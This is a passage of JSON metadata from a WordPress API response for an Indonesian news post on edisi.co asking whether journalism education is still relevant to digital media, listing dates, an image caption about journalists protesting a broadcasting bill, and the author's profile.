Media\u00a0Digital?","datePublished":"2025-07-27T10:26:07+00:00","dateModified":"2025-10-24T20:07:25+00:00","mainEntityOfPage":{"@id":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/"},"wordCount":948,"commentCount":0,"publisher":{"@id":"https:\/\/edisi.co\/#organization"},"image":{"@id":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#primaryimage"},"thumbnailUrl":"https:\/\/edisi.co\/wp-content\/uploads\/2024\/05\/WhatsApp-Image-2024-05-27-at-12.10.12.jpeg","articleSection":["CATATAN EDISIAN","NASIONAL"],"inLanguage":"id","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/","url":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/","name":"Benarkah Pendidikan Jurnalisme sudah tak Relevan dengan Perkembangan Media\u00a0Digital?","isPartOf":{"@id":"https:\/\/edisi.co\/#website"},"primaryImageOfPage":{"@id":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#primaryimage"},"image":{"@id":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#primaryimage"},"thumbnailUrl":"https:\/\/edisi.co\/wp-content\/uploads\/2024\/05\/WhatsApp-Image-2024-05-27-at-12.10.12.jpeg","datePublished":"2025-07-27T10:26:07+00:00","dateModified":"2025-10-24T20:07:25+00:00","description":"Wacana tentang pendidikan jurnalisme yang tak lagi relevan di kampus-kampus\u2014termasuk di Indonesia\u2014dengan kebutuhan","breadcrumb":{"@id":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#breadcrumb"},"inLanguage":"id","potentialAction":[{"@type":"ReadAction","target":["https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/"]}]},{"@type":"ImageObject","inLanguage":"id","@id":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#primaryimage","url":"https:\/\/edisi.co\/wp-content\/uploads\/2024\/05\/WhatsApp-Image-2024-05-27-at-12.10.12.jpeg","contentUrl":"https:\/\/edisi.co\/wp-content\/uploads\/2024\/05\/WhatsApp-Image-2024-05-27-at-12.10.12.jpeg","width":1600,"height":1066,"caption":"Jurnalis yang tergabung dalam Aliansi Jurnalis Kepulauan Riau (Kepri) melakukan aksi unjuk rasa menolak Rancangan Undang-Undang (RUU) Penyiaran."},{"@type":"BreadcrumbList","@id":"https:\/\/edisi.co\/benarkah-pendidikan-jurnalisme-sudah-tak-relevan-dengan-perkembangan-media-digital\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/edisi.co\/"},{"@type":"ListItem","position":2,"name":"Benarkah Pendidikan Jurnalisme sudah tak Relevan dengan Perkembangan Media\u00a0Digital?"}]},{"@type":"WebSite","@id":"https:\/\/edisi.co\/#website","url":"https:\/\/edisi.co\/","name":"Edisi","description":"Energi Informasi","publisher":{"@id":"https:\/\/edisi.co\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/edisi.co\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"id"},{"@type":"Organization","@id":"https:\/\/edisi.co\/#organization","name":"Edisi","url":"https:\/\/edisi.co\/","logo":{"@type":"ImageObject","inLanguage":"id","@id":"https:\/\/edisi.co\/#\/schema\/logo\/image\/","url":"https:\/\/i0.wp.com\/edisi.co\/wp-content\/uploads\/2022\/06\/cropped-LOGO-EDISI-1-1.png?fit=512%2C512&ssl=1","contentUrl":"https:\/\/i0.wp.com\/edisi.co\/wp-content\/uploads\/2022\/06\/cropped-LOGO-EDISI-1-1.png?fit=512%2C512&ssl=1","width":512,"height":512,"caption":"Edisi"},"image":{"@id":"https:\/\/edisi.co\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Edisico-102666665780112","https:\/\/x.com\/edisi_co","https:\/\/www.instagram.com\/edisi.co\/"]},{"@type":"Person","@id":"https:\/\/edisi.co\/#\/schema\/person\/6d99b6e4c7daa385fac75d76deb26690","name":"Bobi","image":{"@type":"ImageObject","inLanguage":"id","@id":"https:\/\/edisi.co\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/e6a18ff58267d1259b30d316fda0ad4c4d27fbaafdc2ab630458e38a4630f6f8?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/e6a18ff58267d1259b30d316fda0ad4c4d27fbaafdc2ab630458e38a4630f6f8?s=96&d=mm&r=g","caption":"Bobi"},"description":"Penulis edisi.co bermukim di Kampung Monggak, Kelurahan Rempang Cate, Kecamatan Galang, kawasan pesisir Batam.","sameAs":["http:\/\/editorian.id"],"url":"https:\/\/edisi.co\/author\/bobi\/"}]}},"_links":{"self":[{"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/posts\/17849","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/comments?post=17849"}],"version-history":[{"count":2,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/posts\/17849\/revisions"}],"predecessor-version":[{"id":18055,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/posts\/17849\/revisions\/18055"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/media\/16662"}],"wp:attachment":[{"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/media?parent=17849"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/categories?post=17849"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/tags?post=17849"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}